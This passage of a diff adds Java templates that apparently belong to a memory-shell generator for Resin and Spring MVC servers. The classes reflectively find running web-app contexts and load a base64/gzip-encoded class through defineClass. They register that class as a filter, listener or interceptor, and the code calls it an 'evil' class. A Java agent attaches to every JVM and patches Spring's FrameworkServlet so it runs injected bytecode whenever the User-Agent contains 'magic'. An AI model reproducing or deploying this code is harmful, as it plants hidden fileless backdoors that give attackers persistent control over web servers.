||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ResinFilterInjectorTpl {
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new ResinFilterInjectorTpl();
|
||||
}
|
||||
|
||||
public ResinFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
if (!isInjected(context, filterClassName)) {
|
||||
try {
|
||||
Class filterMappingClass;
|
||||
try {
|
||||
filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||
} catch (Exception e) {
|
||||
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||
}
|
||||
Object filterMappingImpl = filterMappingClass.newInstance();
|
||||
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)});
|
||||
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
|
||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{urlPattern});
|
||||
invokeMethod(urlPattern, "init");
|
||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||
invokeMethod(context, "clearCache");
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
HashSet<Object> visited = new HashSet();
|
||||
|
||||
try {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||
if (webApp != null && visited.add(webApp)) {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// Handle exception
|
||||
}
|
||||
return contexts;
|
||||
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ResinListenerInjectorTpl {
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new ResinListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public ResinListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
injectListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void injectListener(Object context, Object listener) throws Exception {
|
||||
if (!isInjected(context, listener.getClass().getName())) {
|
||||
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
||||
// 清除缓存,否则某些 uri 无法连接
|
||||
invokeMethod(context, "clearCache");
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList();
|
||||
HashSet<Object> visited = new HashSet();
|
||||
try {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||
if (webApp != null && visited.add(webApp)) {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
return contexts;
|
||||
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners");
|
||||
for (int i = 0; i < arrayList.size(); i++) {
|
||||
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,241 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.IllegalClassFormatException;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.instrument.UnmodifiableClassException;
|
||||
import java.lang.management.ManagementFactory;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
||||
|
||||
public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet";
|
||||
public static final String targetMethodName = "service";
|
||||
public String injectHeaderName = "User-Agent";
|
||||
|
||||
public String injectHeaderValue = "magic";
|
||||
|
||||
public String getInjectorCode() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
|
||||
instrumentation.addTransformer(new SpringMVCAgentTransformer(), true);
|
||||
for (Class clz : instrumentation.getAllLoadedClasses()) {
|
||||
if (!clz.getName().equals(targetClassName)) continue;
|
||||
instrumentation.retransformClasses(clz);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
|
||||
className = className.replace("/", ".");
|
||||
if (className.equals(targetClassName) && classBeingRedefined != null) {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
|
||||
CtClass ctClass = pool.getCtClass(className);
|
||||
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
|
||||
String injectorCode = getInjectorCode();
|
||||
String code = String.format("try {\n" +
|
||||
" if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" +
|
||||
" String injectorCode = \"%s\";\n" +
|
||||
" byte[] byteArray;\n" +
|
||||
" try {\n" +
|
||||
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
|
||||
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
|
||||
" } catch (Throwable e) {\n" +
|
||||
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
||||
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
||||
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||
" }\n" +
|
||||
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
||||
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
||||
" method.setAccessible(true);\n" +
|
||||
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
|
||||
" clazz.newInstance();\n" +
|
||||
" }\n" +
|
||||
" } catch (Exception e) {\n" +
|
||||
" e.printStackTrace();\n" +
|
||||
" }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
|
||||
ctMethod.insertBefore(code);
|
||||
byte[] bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
return bytes;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
return new byte[0];
|
||||
}
|
||||
|
||||
private static Class virtualMachineClass;
|
||||
private static Class virtualMachineDescriptorClass;
|
||||
private static List<Object> vms;
|
||||
|
||||
static {
|
||||
try {
|
||||
// 获取 tools.jar 的路径
|
||||
StringBuilder toolsJarPath = new StringBuilder();
|
||||
toolsJarPath.append(System.getProperty("java.home"))
|
||||
.append(File.separator)
|
||||
.append("..")
|
||||
.append(File.separator)
|
||||
.append("lib")
|
||||
.append(File.separator)
|
||||
.append("tools.jar");
|
||||
File toolsJarFile = new File(toolsJarPath.toString());
|
||||
|
||||
// 如果 JDK 目录下没有找到 tools.jar(纯JRE)
|
||||
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
|
||||
// 释放内置的 tools.jar
|
||||
InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
|
||||
toolsJarFile = File.createTempFile("tools", ".jar");
|
||||
|
||||
FileOutputStream out = null;
|
||||
try {
|
||||
out = new FileOutputStream(toolsJarFile);
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, bytesRead);
|
||||
}
|
||||
} finally {
|
||||
if (out != null) {
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Load the VirtualMachine and VirtualMachineDescriptor classes
|
||||
URL url = toolsJarFile.toURI().toURL();
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
|
||||
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
|
||||
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
|
||||
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
参数说明见 TomcatAgentTransformer
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
if (args.length == 0) {
|
||||
listAllJvmPids();
|
||||
}
|
||||
else if (args.length == 1) {
|
||||
String arg = args[0];
|
||||
if (arg.equalsIgnoreCase("all")) {
|
||||
for (String jvmProcessId : getAllJvmPids()) {
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
}
|
||||
}
|
||||
else {
|
||||
try {
|
||||
Integer.parseInt(arg);
|
||||
attachAgentToTargetJvm(arg);
|
||||
}
|
||||
catch (NumberFormatException e) {
|
||||
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getAllJvmPids() throws Exception {
|
||||
List<String> pids = new ArrayList<>();
|
||||
for (Object vm : vms) {
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
pids.add(id);
|
||||
}
|
||||
return pids;
|
||||
}
|
||||
|
||||
public static void listAllJvmPids() throws Exception {
|
||||
for (Object vm : vms) {
|
||||
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||
String displayName = (String) displayNameMethod.invoke(vm);
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
|
||||
List<String> pids = new ArrayList<>();
|
||||
for (Object vm : vms) {
|
||||
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||
String currentDisplayName = (String) displayNameMethod.invoke(vm);
|
||||
System.out.println(currentDisplayName);
|
||||
System.out.println(displayName);
|
||||
System.out.println();
|
||||
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
pids.add(id);
|
||||
}
|
||||
}
|
||||
return pids;
|
||||
}
|
||||
|
||||
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||
infoLog("Current agent path: " + agentFilePath);
|
||||
File agentFile = new File(agentFilePath);
|
||||
String currentPid = getCurrentPID();
|
||||
if (targetPID.equals(currentPid)) {
|
||||
infoLog("Skipping attaching to self");
|
||||
} else {
|
||||
try {
|
||||
infoLog("Attaching to target JVM with PID: " + targetPID);
|
||||
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
|
||||
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
|
||||
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
|
||||
Method detach = virtualMachineClass.getDeclaredMethod("detach");
|
||||
detach.invoke(jvm);
|
||||
successLog("Attached to target JVM and loaded agent successfully");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static String getCurrentPID() {
|
||||
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
|
||||
}
|
||||
|
||||
public static void infoLog(String message) {
|
||||
System.out.println("[*] " + message);
|
||||
}
|
||||
|
||||
public static void failLog(String message) {
|
||||
System.out.println("[-] " + message);
|
||||
}
|
||||
|
||||
public static void successLog(String message) {
|
||||
System.out.println("[+] " + message);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class SpringMVCInterceptorInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
|
||||
public SpringMVCInterceptorInjectorTpl() throws Exception {
|
||||
Object context = getContext();
|
||||
Object interceptor = getInterceptor();
|
||||
addInterceptor(context, interceptor);
|
||||
|
||||
}
|
||||
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object httprequest = invokeMethod(requestAttributes, "getRequest");
|
||||
Object session = invokeMethod(httprequest, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
|
||||
if (context == null) {
|
||||
try {
|
||||
LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
context = applicationContext;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return context;
|
||||
}
|
||||
|
||||
private Object getInterceptor() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
public void addInterceptor(Object context, Object interceptor) {
|
||||
try {
|
||||
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
|
||||
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) getFV(abstractHandlerMapping, "adaptedInterceptors");
|
||||
adaptedInterceptors.add(interceptor);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
